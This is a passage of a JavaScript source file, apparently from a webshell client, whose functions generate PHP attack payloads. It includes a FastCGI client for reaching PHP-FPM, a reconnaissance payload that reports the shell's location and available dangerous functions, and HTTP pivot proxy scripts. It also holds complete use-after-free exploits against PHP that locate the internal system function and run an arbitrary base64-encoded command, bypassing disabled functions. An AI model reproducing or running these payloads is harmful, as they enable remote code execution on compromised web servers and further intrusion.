78 | public function setReadWriteTimeout($timeoutMs)
79 | {
80 | $this->_readWriteTimeout = $timeoutMs;
81 | $this->set_ms_timeout($this->_readWriteTimeout);
82 | }
83 | public function getReadWriteTimeout()
84 | {
85 | return $this->_readWriteTimeout;
86 | }
87 | private function set_ms_timeout($timeoutMs) {
88 | if (!$this->_sock) {
89 | return false;
90 | }
91 | return stream_set_timeout($this->_sock, floor($timeoutMs / 1000), ($timeoutMs % 1000) * 1000);
92 | }
93 | private function connect()
94 | {
95 | if (!$this->_sock) {
96 | if ($this->_persistentSocket) {
97 | $this->_sock = pfsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout/1000);
98 | } else {
99 | $this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout/1000);
100 | }
101 | if (!$this->_sock) {
102 | throw new \\Exception('Unable to connect to FastCGI application: ' . $errstr);
103 | }
104 | if (!$this->set_ms_timeout($this->_readWriteTimeout)) {
105 | throw new \\Exception('Unable to set timeout on socket');
106 | }
107 | }
108 | }
109 | private function buildPacket($type, $content, $requestId = 1)
110 | {
111 | $clen = strlen($content);
112 | return chr(self::VERSION_1) /* version */
113 | . chr($type) /* type */
114 | . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
115 | . chr($requestId & 0xFF) /* requestIdB0 */
116 | . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
117 | . chr($clen & 0xFF) /* contentLengthB0 */
118 | . chr(0) /* paddingLength */
119 | . chr(0) /* reserved */
120 | . $content; /* content */
121 | }
122 | private function buildNvpair($name, $value)
123 | {
124 | $nlen = strlen($name);
125 | $vlen = strlen($value);
126 | if ($nlen < 128) {
127 | $nvpair = chr($nlen);
128 | } else {
129 | $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
130 | }
131 | if ($vlen < 128) {
132 | $nvpair .= chr($vlen);
133 | } else {
134 | $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
135 | }
136 | return $nvpair . $name . $value;
137 | }
138 | private function readNvpair($data, $length = null)
139 | {
140 | $array = array();
141 | if ($length === null) {
142 | $length = strlen($data);
143 | }
144 | $p = 0;
145 | while ($p != $length) {
146 | $nlen = ord($data{$p++});
147 | if ($nlen >= 128) {
148 | $nlen = ($nlen & 0x7F << 24);
149 | $nlen |= (ord($data{$p++}) << 16);
150 | $nlen |= (ord($data{$p++}) << 8);
151 | $nlen |= (ord($data{$p++}));
152 | }
153 | $vlen = ord($data{$p++});
154 | if ($vlen >= 128) {
155 | $vlen = ($nlen & 0x7F << 24);
156 | $vlen |= (ord($data{$p++}) << 16);
157 | $vlen |= (ord($data{$p++}) << 8);
158 | $vlen |= (ord($data{$p++}));
159 | }
160 | $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
161 | $p += ($nlen + $vlen);
162 | }
163 | return $array;
164 | }
165 | private function decodePacketHeader($data)
166 | {
167 | $ret = array();
168 | $ret['version'] = ord($data{0});
169 | $ret['type'] = ord($data{1});
170 | $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
171 | $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
172 | $ret['paddingLength'] = ord($data{6});
173 | $ret['reserved'] = ord($data{7});
174 | return $ret;
175 | }
176 | private function readPacket()
177 | {
178 | if ($packet = fread($this->_sock, self::HEADER_LEN)) {
179 | $resp = $this->decodePacketHeader($packet);
180 | $resp['content'] = '';
181 | if ($resp['contentLength']) {
182 | $len = $resp['contentLength'];
183 | while ($len && ($buf=fread($this->_sock, $len)) !== false) {
184 | $len -= strlen($buf);
185 | $resp['content'] .= $buf;
186 | }
187 | }
188 | if ($resp['paddingLength']) {
189 | $buf = fread($this->_sock, $resp['paddingLength']);
190 | }
191 | return $resp;
192 | } else {
193 | return false;
194 | }
195 | }
196 | public function getValues(array $requestedInfo)
197 | {
198 | $this->connect();
199 | $request = '';
200 | foreach ($requestedInfo as $info) {
201 | $request .= $this->buildNvpair($info, '');
202 | }
203 | fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
204 | $resp = $this->readPacket();
205 | if ($resp['type'] == self::GET_VALUES_RESULT) {
206 | return $this->readNvpair($resp['content'], $resp['length']);
207 | } else {
208 | throw new \\Exception('Unexpected response type, expecting GET_VALUES_RESULT');
209 | }
210 | }
211 | public function request(array $params, $stdin)
212 | {
213 | $id = $this->async_request($params, $stdin);
214 | return $this->wait_for_response($id);
215 | }
216 | public function async_request(array $params, $stdin)
217 | {
218 | $this->connect();
219 | $id = mt_rand(1, (1 << 16) - 1);
220 | $keepAlive = intval($this->_keepAlive || $this->_persistentSocket);
221 | $request = $this->buildPacket(self::BEGIN_REQUEST
222 | ,chr(0) . chr(self::RESPONDER) . chr($keepAlive) . str_repeat(chr(0), 5)
223 | ,$id
224 | );
225 | $paramsRequest = '';
226 | foreach ($params as $key => $value) {
227 | $paramsRequest .= $this->buildNvpair($key, $value, $id);
228 | }
229 | if ($paramsRequest) {
230 | $request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
231 | }
232 | $request .= $this->buildPacket(self::PARAMS, '', $id);
233 | if ($stdin) {
234 | $request .= $this->buildPacket(self::STDIN, $stdin, $id);
235 | }
236 | $request .= $this->buildPacket(self::STDIN, '', $id);
237 | if (fwrite($this->_sock, $request) === false || fflush($this->_sock) === false) {
238 | $info = stream_get_meta_data($this->_sock);
239 | if ($info['timed_out']) {
240 | throw new TimedOutException('Write timed out');
241 | }
242 | fclose($this->_sock);
243 | throw new \\Exception('Failed to write request to socket');
244 | }
245 | $this->_requests[$id] = array(
246 | 'state' => self::REQ_STATE_WRITTEN,
247 | 'response' => null
248 | );
249 | return $id;
250 | }
251 | public function wait_for_response($requestId, $timeoutMs = 0) {
252 | if (!isset($this->_requests[$requestId])) {
253 | throw new \\Exception('Invalid request id given');
254 | }
255 | if ($this->_requests[$requestId]['state'] == self::REQ_STATE_OK
256 | || $this->_requests[$requestId]['state'] == self::REQ_STATE_ERR
257 | ) {
258 | return $this->_requests[$requestId]['response'];
259 | }
260 | if ($timeoutMs > 0) {
261 | $this->set_ms_timeout($timeoutMs);
262 | } else {
263 | $timeoutMs = $this->_readWriteTimeout;
264 | }
265 | $startTime = microtime(true);
266 | do {
267 | $resp = $this->readPacket();
268 | if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
269 | if ($resp['type'] == self::STDERR) {
270 | $this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_ERR;
271 | }
272 | $this->_requests[$resp['requestId']]['response'] .= $resp['content'];
273 | }
274 | if ($resp['type'] == self::END_REQUEST) {
275 | $this->_requests[$resp['requestId']]['state'] = self::REQ_STATE_OK;
276 | if ($resp['requestId'] == $requestId) { break;
277 | }
278 | }
279 | if (microtime(true) - $startTime >= ($timeoutMs * 1000)) {
280 | $this->set_ms_timeout($this->_readWriteTimeout);
281 | throw new \\Exception('Timed out');
282 | }
283 | } while ($resp);
284 | if (!is_array($resp)) {
285 | $info = stream_get_meta_data($this->_sock);
286 | $this->set_ms_timeout($this->_readWriteTimeout);
287 | if ($info['timed_out']) {
288 | throw new TimedOutException('Read timed out');
289 | }
290 | if ($info['unread_bytes'] == 0
291 | && $info['blocked']
292 | && $info['eof']) {
293 | throw new ForbiddenException('Not in white list. Check listen.allowed_clients.');
294 | }
295 | throw new \\Exception('Read failed');
296 | }
297 | $this->set_ms_timeout($this->_readWriteTimeout);
298 | switch (ord($resp['content']{4})) {
299 | case self::CANT_MPX_CONN:
300 | throw new \\Exception('This app can\\'t multiplex [CANT_MPX_CONN]');
301 | break;
302 | case self::OVERLOADED:
303 | throw new \\Exception('New request rejected; too busy [OVERLOADED]');
304 | break;
305 | case self::UNKNOWN_ROLE:
306 | throw new \\Exception('Role value not known [UNKNOWN_ROLE]');
307 | break;
308 | case self::REQUEST_COMPLETE:
309 | return $this->_requests[$requestId]['response'];
310 | }
311 | }
312 | };
313 | `.replace(/\n\s+?/g, '');
314 | },
315 | BaseInfo: () => {
316 | return `$rt = array(
317 | "os" => php_uname('s'),
318 | "arch" => (PHP_INT_SIZE==4?32:64),
319 | "ver" => substr(PHP_VERSION,0,3),
320 | "shell_name" => basename($_SERVER['SCRIPT_NAME']),
321 | "shell_dir" => dirname($_SERVER['SCRIPT_FILENAME']),
322 | "phpself" => $_SERVER['DOCUMENT_ROOT'],
323 | "temp_dir" => sys_get_temp_dir(),
324 | "open_basedir" => array(),
325 | "funcs" => array(),
326 | );
327 | $opath_str = ini_get('open_basedir');
328 | if(strlen($opath_str)){
329 | $opath = explode(":", $opath_str);
330 | foreach($opath as $p) {
331 | $rp = realpath($p);
332 | $rt["open_basedir"][$rp] = (is_writable($rp)?1:0);
333 | }
334 | $rt["open_basedir"][$rt["phpself"]] = (is_writable($rt["phpself"])?1:0);
335 | }
336 | $func_arr = array("dl", "putenv", "error_reporting", "error_log", "file_put_contents", "file_get_contents", "fopen", "fclose", "fwrite", "tempnam", "imap_open", "symlink", "curl_init", "fsockopen", "iconv");
337 | foreach ($func_arr as $f) {
338 | $rt["funcs"][$f] = (function_exists($f)?1:0);
339 | }
340 | $rt["funcs"]["dl"] = ((bool)ini_get("enable_dl")?1:0);
341 | echo json_encode($rt);
342 | `.replace(/\n\s+?/g, '');
343 | },
344 | ProxyScript: (url) => {
345 | return `0){
370 | if(strpos($h,'Content-Length')!==false) continue;
371 | if(strpos($h,'Transfer-Encoding')!==false) continue;
372 | if(strpos($h,'Connection')!==false) continue;
373 | if(strpos($h,'HTTP/1.1 100 Continue')!==false) continue;
374 | header($h);
375 | }
376 | }
377 | function replace_html_path($arrMatche){
378 | $sPath = makeUrl($arrMatche[4]);
379 | if(strtolower($arrMatche[1])=='img') {
380 | $sPath.= '&bin=1' ;
381 | }
382 | return "<{$arrMatche[1]} {$arrMatche[2]} {$arrMatche[3]}=\\"{$sPath}\\"" ;
383 | }
384 | function get_client_header(){
385 | $headers=array('Expect:');
386 | foreach($_SERVER as $k=>$v){
387 | if(strpos($k,'HTTP_')===0){
388 | $k=strtolower(preg_replace('/^HTTP/', '', $k));
389 | $k=preg_replace_callback('/_\\w/','header_callback',$k);
390 | $k=preg_replace('/^_/','',$k);
391 | $k=str_replace('_','-',$k);
392 | if($k=='Host') continue;
393 | $headers[]="$k:$v";
394 | }
395 | }
396 | return $headers;
397 | }
398 | function header_callback($str){
399 | return strtoupper($str[0]);
400 | }
401 | function parseHeader($sResponse){
402 | list($headerstr,$sResponse)=explode("\\r\\n\\r\\n",$sResponse, 2);
403 | $ret=array($headerstr,$sResponse);
404 | if(preg_match('/^HTTP\\/1\.1 \\d{3}/', $sResponse)){
405 | $ret=parseHeader($sResponse);
406 | }
407 | return $ret;
408 | }
409 | curl_close($aAccess);
410 | echo $sResponse;`;
411 | },
412 | ProxyScriptFsock: (host, port, url) => {
413 | return `$v){
417 | if(strpos($k,'HTTP_')===0){
418 | $k=strtolower(preg_replace('/^HTTP/', '', $k));
419 | $k=preg_replace_callback('/_\\w/','header_callback',$k);
420 | $k=preg_replace('/^_/','',$k);
421 | $k=str_replace('_','-',$k);
422 | if($k=='Host') continue;
423 | $headers[]="$k:$v";
424 | }
425 | }
426 | return $headers;
427 | }
428 | function header_callback($str){
429 | return strtoupper($str[0]);
430 | }
431 | function parseHeader($sResponse){
432 | list($headerstr,$sResponse)=explode("\r\n\r\n",$sResponse, 2);
433 | $ret=array($headerstr,$sResponse);
434 | if(preg_match('/^HTTP\/1\.1 \d{3}/', $sResponse)){
435 | $ret=parseHeader($sResponse);
436 | }
437 | return $ret;
438 | }
439 |
440 | set_time_limit(120);
441 | $headers=get_client_header();
442 | $host = "${host}";
443 | $port = ${port};
444 | $errno = '';
445 | $errstr = '';
446 | $timeout = 30;
447 | $url = "${url}";
448 |
449 | if (!empty($_SERVER['QUERY_STRING'])){
450 | $url .= "?".$_SERVER['QUERY_STRING'];
451 | };
452 |
453 | $fp = fsockopen($host, $port, $errno, $errstr, $timeout);
454 | if(!$fp){
455 | return false;
456 | }
457 |
458 | $method = "GET";
459 | $post_data = "";
460 | if($_SERVER['REQUEST_METHOD']=='POST') {
461 | $method = "POST";
462 | $post_data = file_get_contents('php://input');
463 | }
464 |
465 | $out = $method." ".$url." HTTP/1.1\\r\\n";
466 | $out .= "Host: ".$host.":".$port."\\r\\n";
467 | if (!empty($_SERVER['CONTENT_TYPE'])) {
468 | $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\\r\\n";
469 | }
470 | $out .= "Content-length:".strlen($post_data)."\\r\\n";
471 |
472 | $out .= implode("\\r\\n",$headers);
473 | $out .= "\\r\\n\\r\\n";
474 | $out .= "".$post_data;
475 |
476 | fputs($fp, $out);
477 |
478 | $response = '';
479 | while($row=fread($fp, 4096)){
480 | $response .= $row;
481 | }
482 | fclose($fp);
483 | $pos = strpos($response, "\\r\\n\\r\\n");
484 | $response = substr($response, $pos+4);
485 | echo $response;
486 | `;
487 | },
488 | JSON_Serializer_UAF(bin, cmd) {
489 | return `$cmd = "${bin} -c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\"";
490 | if(stristr(PHP_OS, 'WIN')) {
491 | $cmd = "${bin} /c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\"";
492 | }
493 | $n_alloc = 10;
494 | class MySplFixedArray extends SplFixedArray {
495 | public static $leak;
496 | }
497 | class Z implements JsonSerializable {
498 | public function write(&$str, $p, $v, $n = 8) {
499 | $i = 0;
500 | for($i = 0; $i < $n; $i++) {
501 | $str[$p + $i] = chr($v & 0xff);
502 | $v >>= 8;
503 | }
504 | }
505 | public function str2ptr(&$str, $p = 0, $s = 8) {
506 | $address = 0;
507 | for($j = $s-1; $j >= 0; $j--) {
508 | $address <<= 8;
509 | $address |= ord($str[$p+$j]);
510 | }
511 | return $address;
512 | }
513 | public function ptr2str($ptr, $m = 8) {
514 | $out = "";
515 | for ($i=0; $i < $m; $i++) {
516 | $out .= chr($ptr & 0xff);
517 | $ptr >>= 8;
518 | }
519 | return $out;
520 | }
521 | public function leak1($addr) {
522 | global $spl1;
523 | $this->write($this->abc, 8, $addr - 0x10);
524 | return strlen(get_class($spl1));
525 | }
526 | public function leak2($addr, $p = 0, $s = 8) {
527 | global $spl1, $fake_tbl_off;
528 | $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
529 | $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
530 | $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)
531 | $leak = strlen($spl1::$leak);
532 | if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
533 | return $leak;
534 | }
535 | public function parse_elf($base) {
536 | $e_type = $this->leak2($base, 0x10, 2);
537 | $e_phoff = $this->leak2($base, 0x20);
538 | $e_phentsize = $this->leak2($base, 0x36, 2);
539 | $e_phnum = $this->leak2($base, 0x38, 2);
540 | for($i = 0; $i < $e_phnum; $i++) {
541 | $header = $base + $e_phoff + $i * $e_phentsize;
542 | $p_type = $this->leak2($header, 0, 4);
543 | $p_flags = $this->leak2($header, 4, 4);
544 | $p_vaddr = $this->leak2($header, 0x10);
545 | $p_memsz = $this->leak2($header, 0x28);
546 | if($p_type == 1 && $p_flags == 6) {
547 | $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
548 | $data_size = $p_memsz;
549 | } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
550 | $text_size = $p_memsz;
551 | }
552 | }
553 | if(!$data_addr || !$text_size || !$data_size)
554 | return false;
555 | return [$data_addr, $text_size, $data_size];
556 | }
557 | public function get_basic_funcs($base, $elf) {
558 | list($data_addr, $text_size, $data_size) = $elf;
559 | for($i = 0; $i < $data_size / 8; $i++) {
560 | $leak = $this->leak2($data_addr, $i * 8);
561 | if($leak - $base > 0 && $leak - $base < $text_size) {
562 | $deref = $this->leak2($leak);
563 | # 'constant' constant check
564 | if($deref != 0x746e6174736e6f63)
565 | continue;
566 | } else continue;
567 | $leak = $this->leak2($data_addr, ($i + 4) * 8);
568 | if($leak - $base > 0 && $leak - $base < $text_size) {
569 | $deref = $this->leak2($leak);
570 | if($deref != 0x786568326e6962)
571 | continue;
572 | } else continue;
573 | return $data_addr + $i * 8;
574 | }
575 | }
576 | public function get_binary_base($binary_leak) {
577 | $base = 0;
578 | $start = $binary_leak & 0xfffffffffffff000;
579 | for($i = 0; $i < 0x1000; $i++) {
580 | $addr = $start - 0x1000 * $i;
581 | $leak = $this->leak2($addr, 0, 7);
582 | if($leak == 0x10102464c457f) {
583 | return $addr;
584 | }
585 | }
586 | }
587 | public function get_system($basic_funcs) {
588 | $addr = $basic_funcs;
589 | do {
590 | $f_entry = $this->leak2($addr);
591 | $f_name = $this->leak2($f_entry, 0, 6);
592 | if($f_name == 0x6d6574737973) {
593 | return $this->leak2($addr + 8);
594 | }
595 | $addr += 0x20;
596 | } while($f_entry != 0);
597 | return false;
598 | }
599 | public function jsonSerialize() {
600 | global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;
601 | $contiguous = [];
602 | for($i = 0; $i < $n_alloc; $i++)
603 | $contiguous[] = new DateInterval('PT1S');
604 | $room = [];
605 | for($i = 0; $i < $n_alloc; $i++)
606 | $room[] = new Z();
607 | $_protector = $this->ptr2str(0, 78);
608 | $this->abc = $this->ptr2str(0, 79);
609 | $p = new DateInterval('PT1S');
610 | unset($y[0]);
611 | unset($p);
612 | $protector = ".$_protector";
613 | $x = new DateInterval('PT1S');
614 | $x->d = 0x2000;
615 | $x->h = 0xdeadbeef;
616 | if($this->str2ptr($this->abc) != 0xdeadbeef) {
617 | die('UAF failed.');
618 | }
619 | $spl1 = new MySplFixedArray();
620 | $spl2 = new MySplFixedArray();
621 | $class_entry = $this->str2ptr($this->abc, 0x120);
622 | $handlers = $this->str2ptr($this->abc, 0x128);
623 | $php_heap = $this->str2ptr($this->abc, 0x1a8);
624 | $abc_addr = $php_heap - 0x218;
625 | $fake_obj = $abc_addr;
626 | $this->write($this->abc, 0, 2);
627 | $this->write($this->abc, 0x120, $abc_addr);
628 | for($i = 0; $i < 16; $i++) {
629 | $this->write($this->abc, 0x10 + $i * 8,
630 | $this->leak1($class_entry + 0x10 + $i * 8));
631 | }
632 | $fake_tbl_off = 0x70 * 4 - 16;
633 | $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
634 | $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);
635 | $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10);
636 | $this->write($this->abc, $fake_tbl_off + 8, 10);
637 | $binary_leak = $this->leak2($handlers + 0x10);
638 | if(!($base = $this->get_binary_base($binary_leak))) {
639 | die("Couldn't determine binary base address");
640 | }
641 | if(!($elf = $this->parse_elf($base))) {
642 | die("Couldn't parse ELF");
643 | }
644 | if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
645 | die("Couldn't get basic_functions address");
646 | }
647 | if(!($zif_system = $this->get_system($basic_funcs))) {
648 | die("Couldn't get zif_system address");
649 | }
650 | $fake_bkt_off = 0x70 * 5 - 16;
651 | $function_data = $this->str2ptr($this->abc, 0x50);
652 | for($i = 0; $i < 4; $i++) {
653 | $this->write($this->abc, $fake_bkt_off + $i * 8,
654 | $this->leak2($function_data + 0x40 * 4, $i * 8));
655 | }
656 | $fake_bkt_addr = $abc_addr + $fake_bkt_off;
657 | $this->write($this->abc, 0x50, $fake_bkt_addr);
658 | for($i = 0; $i < 3; $i++) {
659 | $this->write($this->abc, 0x58 + $i * 4, 1, 4);
660 | }
661 | $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
662 | for($i = 0; $i < 12; $i++) {
663 | $this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8,
664 | $this->leak2($function_zval, $i * 8));
665 | }
666 | $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
667 | $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);
668 | $spl1->offsetGet($cmd);
669 | }
670 | }
671 | $y = [new Z()];
672 | json_encode([&$y]);
673 | `;
674 | },
675 | PHP7_GC_UAF_EXP(bin, cmd) {
676 | return `function pwn($cmd) {
677 | global $abc, $helper;
678 | function str2ptr(&$str, $p = 0, $s = 8) {
679 | $address = 0;
680 | for($j = $s-1; $j >= 0; $j--) {
681 | $address <<= 8;
682 | $address |= ord($str[$p+$j]);
683 | }
684 | return $address;
685 | }
686 | function ptr2str($ptr, $m = 8) {
687 | $out = "";
688 | for ($i=0; $i < $m; $i++) {
689 | $out .= chr($ptr & 0xff);
690 | $ptr >>= 8;
691 | }
692 | return $out;
693 | }
694 |
695 | function write(&$str, $p, $v, $n = 8) {
696 | $i = 0;
697 | for($i = 0; $i < $n; $i++) {
698 | $str[$p + $i] = chr($v & 0xff);
699 | $v >>= 8;
700 | }
701 | }
702 |
703 | function leak($addr, $p = 0, $s = 8) {
704 | global $abc, $helper;
705 | write($abc, 0x68, $addr + $p - 0x10);
706 | $leak = strlen($helper->a);
707 | if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
708 | return $leak;
709 | }
710 |
711 | function parse_elf($base) {
712 | $e_type = leak($base, 0x10, 2);
713 |
714 | $e_phoff = leak($base, 0x20);
715 | $e_phentsize = leak($base, 0x36, 2);
716 | $e_phnum = leak($base, 0x38, 2);
717 |
718 | for($i = 0; $i < $e_phnum; $i++) {
719 | $header = $base + $e_phoff + $i * $e_phentsize;
720 | $p_type = leak($header, 0, 4);
721 | $p_flags = leak($header, 4, 4);
722 | $p_vaddr = leak($header, 0x10);
723 | $p_memsz = leak($header, 0x28);
724 |
725 | if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
726 | # handle pie
727 | $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
728 | $data_size = $p_memsz;
729 | } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
730 | $text_size = $p_memsz;
731 | }
732 | }
733 |
734 | if(!$data_addr || !$text_size || !$data_size)
735 | return false;
736 |
737 | return [$data_addr, $text_size, $data_size];
738 | }
739 |
740 | function get_basic_funcs($base, $elf) {
741 | list($data_addr, $text_size, $data_size) = $elf;
742 | for($i = 0; $i < $data_size / 8; $i++) {
743 | $leak = leak($data_addr, $i * 8);
744 | if($leak - $base > 0 && $leak - $base < $text_size) {
745 | $deref = leak($leak);
746 | # 'constant' constant check
747 | if($deref != 0x746e6174736e6f63)
748 | continue;
749 | } else continue;
750 |
751 | $leak = leak($data_addr, ($i + 4) * 8);
752 | if($leak - $base > 0 && $leak - $base < $text_size) {
753 | $deref = leak($leak);
754 | # 'bin2hex' constant check
755 | if($deref != 0x786568326e6962)
756 | continue;
757 | } else continue;
758 |
759 | return $data_addr + $i * 8;
760 | }
761 | }
762 |
763 | function get_binary_base($binary_leak) {
764 | $base = 0;
765 | $start = $binary_leak & 0xfffffffffffff000;
766 | for($i = 0; $i < 0x1000; $i++) {
767 | $addr = $start - 0x1000 * $i;
768 | $leak = leak($addr, 0, 7);
769 | if($leak == 0x10102464c457f) { # ELF header
770 | return $addr;
771 | }
772 | }
773 | }
774 |
775 | function get_system($basic_funcs) {
776 | $addr = $basic_funcs;
777 | do {
778 | $f_entry = leak($addr);
779 | $f_name = leak($f_entry, 0, 6);
780 |
781 | if($f_name == 0x6d6574737973) { # system
782 | return leak($addr + 8);
783 | }
784 | $addr += 0x20;
785 | } while($f_entry != 0);
786 | return false;
787 | }
788 |
789 | class ryat {
790 | var $ryat;
791 | var $chtg;
792 |
793 | function __destruct()
794 | {
795 | $this->chtg = $this->ryat;
796 | $this->ryat = 1;
797 | }
798 | }
799 |
800 | class Helper {
801 | public $a, $b, $c, $d;
802 | }
803 |
804 | if(stristr(PHP_OS, 'WIN')) {
805 | die('This PoC is for *nix systems only.');
806 | }
807 |
808 | $n_alloc = 10; # increase this value if you get segfaults
809 |
810 | $contiguous = [];
811 | for($i = 0; $i < $n_alloc; $i++)
812 | $contiguous[] = str_repeat('A', 79);
813 |
814 | $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
815 | $out = unserialize($poc);
816 | gc_collect_cycles();
817 |
818 | $v = [];
819 | $v[0] = ptr2str(0, 79);
820 | unset($v);
821 | $abc = $out[2][0];
822 |
823 | $helper = new Helper;
824 | $helper->b = function ($x) { };
825 |
826 | if(strlen($abc) == 79 || strlen($abc) == 0) {
827 | die("UAF failed");
828 | }
829 |
830 | # leaks
831 | $closure_handlers = str2ptr($abc, 0);
832 | $php_heap = str2ptr($abc, 0x58);
833 | $abc_addr = $php_heap - 0xc8;
834 |
835 | # fake value
836 | write($abc, 0x60, 2);
837 | write($abc, 0x70, 6);
838 |
839 | # fake reference
840 | write($abc, 0x10, $abc_addr + 0x60);
841 | write($abc, 0x18, 0xa);
842 |
843 | $closure_obj = str2ptr($abc, 0x20);
844 |
845 | $binary_leak = leak($closure_handlers, 8);
846 | if(!($base = get_binary_base($binary_leak))) {
847 | die("Couldn't determine binary base address");
848 | }
849 |
850 | if(!($elf = parse_elf($base))) {
851 | die("Couldn't parse ELF header");
852 | }
853 |
854 | if(!($basic_funcs = get_basic_funcs($base, $elf))) {
855 | die("Couldn't get basic_functions address");
856 | }
857 |
858 | if(!($zif_system = get_system($basic_funcs))) {
859 | die("Couldn't get zif_system address");
860 | }
861 | $fake_obj_offset = 0xd0;
862 | for($i = 0; $i < 0x110; $i += 8) {
863 | write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
864 | }
865 | write($abc, 0x20, $abc_addr + $fake_obj_offset);
866 | write($abc, 0xd0 + 0x38, 1, 4); # internal func type
867 | write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
868 | ($helper->b)($cmd);
869 | }
870 | pwn("${bin} -c \\\"".@base64_decode("${Buffer.from(cmd).toString('base64')}")."\\\"");
871 | `;
872 | },
873 | PHP7_Backtrace_UAF_EXP(bin, cmd) {
874 | return `function pwn($cmd) {
875 | global $abc, $helper, $backtrace;
876 | class Vuln {
877 | public $a;
878 | public function __destruct() {
879 | global $backtrace;
880 | unset($this->a);
881 | $backtrace = (new Exception)->getTrace(); # ;)
882 | if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
883 | $backtrace = debug_backtrace();
884 | }
885 | }
886 | }
887 | class Helper {
888 | public $a, $b, $c, $d;
889 | }
890 | function str2ptr(&$str, $p = 0, $s = 8) {
891 | $address = 0;
892 | for($j = $s-1; $j >= 0; $j--) {
893 | $address <<= 8;
894 | $address |= ord($str[$p+$j]);
895 | }
896 | return $address;
897 | }
898 |
899 | function ptr2str($ptr, $m = 8) {
900 | $out = "";
901 | for ($i=0; $i < $m; $i++) {
902 | $out .= chr($ptr & 0xff);
903 | $ptr >>= 8;
904 | }
905 | return $out;
906 | }
907 |
908 | function write(&$str, $p, $v, $n = 8) {
909 | $i = 0;
910 | for($i = 0; $i < $n; $i++) {
911 | $str[$p + $i] = chr($v & 0xff);
912 | $v >>= 8;
913 | }
914 | }
915 |
916 | function leak($addr, $p = 0, $s = 8) {
917 | global $abc, $helper;
918 | write($abc, 0x68, $addr + $p - 0x10);
919 | $leak = strlen($helper->a);
920 | if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
921 | return $leak;
922 | }
923 |
924 | function parse_elf($base) {
925 | $e_type = leak($base, 0x10, 2);
926 |
927 | $e_phoff = leak($base, 0x20);
928 | $e_phentsize = leak($base, 0x36, 2);
929 | $e_phnum = leak($base, 0x38, 2);
930 |
931 | for($i = 0; $i < $e_phnum; $i++) {
932 | $header = $base + $e_phoff + $i * $e_phentsize;
933 | $p_type = leak($header, 0, 4);
934 | $p_flags = leak($header, 4, 4);
935 | $p_vaddr = leak($header, 0x10);
936 | $p_memsz = leak($header, 0x28);
937 |
938 | if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
939 | # handle pie
940 | $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
941 | $data_size = $p_memsz;
942 | } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
943 | $text_size = $p_memsz;
944 | }
945 | }
946 |
947 | if(!$data_addr || !$text_size || !$data_size)
948 | return false;
949 |
950 | return [$data_addr, $text_size, $data_size];
951 | }
952 |
953 | function get_basic_funcs($base, $elf) {
954 | list($data_addr, $text_size, $data_size) = $elf;
955 | for($i = 0; $i < $data_size / 8; $i++) {
956 | $leak = leak($data_addr, $i * 8);
957 | if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
958 | $deref = leak($leak);
959 | # 'constant' constant check
960 | if($deref != 0x746e6174736e6f63)
961 | continue;
962 | } else continue;
963 |
964 | $leak = leak($data_addr, ($i + 4) * 8);
965 | if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
966 | $deref = leak($leak);
967 | # 'bin2hex' constant check
968 | if($deref != 0x786568326e6962)
969 | continue;
970 | } else continue;
971 |
972 | return $data_addr + $i * 8;
973 | }
974 | }
975 |
976 | function get_binary_base($binary_leak) {
977 | $base = 0;
978 | $start = $binary_leak & 0xfffffffffffff000;
979 | for($i = 0; $i < 0x1000; $i++) {
980 | $addr = $start - 0x1000 * $i;
981 | $leak = leak($addr, 0, 7);
982 | if($leak == 0x10102464c457f) { # ELF header
983 | return $addr;
984 | }
985 | }
986 | }
987 |
988 | function get_system($basic_funcs) {
